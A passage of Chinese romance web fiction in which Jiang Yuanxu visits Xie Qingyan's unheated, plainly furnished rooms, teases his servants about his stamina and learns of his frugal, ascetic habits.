姜元序指指屋子:“赶紧去洗洗,有事问你。”就刚才那状态,恐怕连她三招都接不住,可不就是虚吗。 谢青衍让人招待好姜元序,自己去洗漱,侍从将人引至堂屋,细心地提醒她先不要解披风,屋子里冷,随后将炭盆移到她的脚边,奉上热茶。 姜元序第一次到谢青衍的院子,有些诧异:“都晚上了,地龙没烧吗?” 云齐刚想解释这里没有地龙,云慎抢先一步回答:“公子身体好,不怕冷,年轻力壮的,火气旺,不是寒冬腊月,连炭盆都不用!” 姜元序挑眉笑道:“打个拳喘成那样,叫身体好?” 云慎一噎,硬着头皮找借口:“因为公子已经打了一个时辰的拳!有些累。” 他总不能说,公子知道你在看着,特意透支体力打了一通猛拳,才会喘成那样吧? 姜元序点点头,幽幽道:“才一个时辰就累,果然很虚。” 云齐在背后拧了云慎一把,止住他想要继续辩驳的心,这种事口头解释有什么用,越解释越乱,况且姜姑娘明显没往心里去。 他和姜元序解释,谢府只有谢维屋里修了地龙,谢青衍这里连暖阁都没修,平日只用炭盆取暖。 姜元序确实有些意外,隔壁宅子地龙和暖阁都有,她还以为谢府都是这个规格的,她打量一下这间屋子,虽也精致,但远不及她那边华贵。 她纳闷道:“你们公子光存在今越银行的钱都超过一百万了,怎么自己的屋子这样冷清?” “公子喜好简单素雅,而且一向不在意自己的吃穿用度,这屋里的东西,从一开始搬进来,就没怎么添过。”云齐解释道。 姜元序来了兴趣,有些好奇地问:“那他就没点什么奢侈的喜好吗?比如名家的书画啊、扇面啊,需要一掷千金的那种。” 云齐摇头,“公子除了偶尔自己买些书,没有其余的开支,每月公中拨下来的月银都花不完。” 姜元序咋舌,这是真禁欲啊,不光是色欲,连物欲都没有,怪不得长了这么一张脸,都没成京城的风云人物,姜元序一开始调查他的时候,唯一的记忆点就是谢阁老的孙子。 姜元序又问了许多,云齐云慎也铆足了劲讲,谢青衍进来时,看到的便是三人齐齐笑开的场景。 “说什么呢,这么开心?”谢青衍坐到姜元序旁边,也带了笑意。 姜元序收住笑,清了清嗓子,正色道:“说你是个淳朴善良的好男孩。” 云齐和云慎咬唇憋笑,谢青衍一头雾水,这是在夸他吗?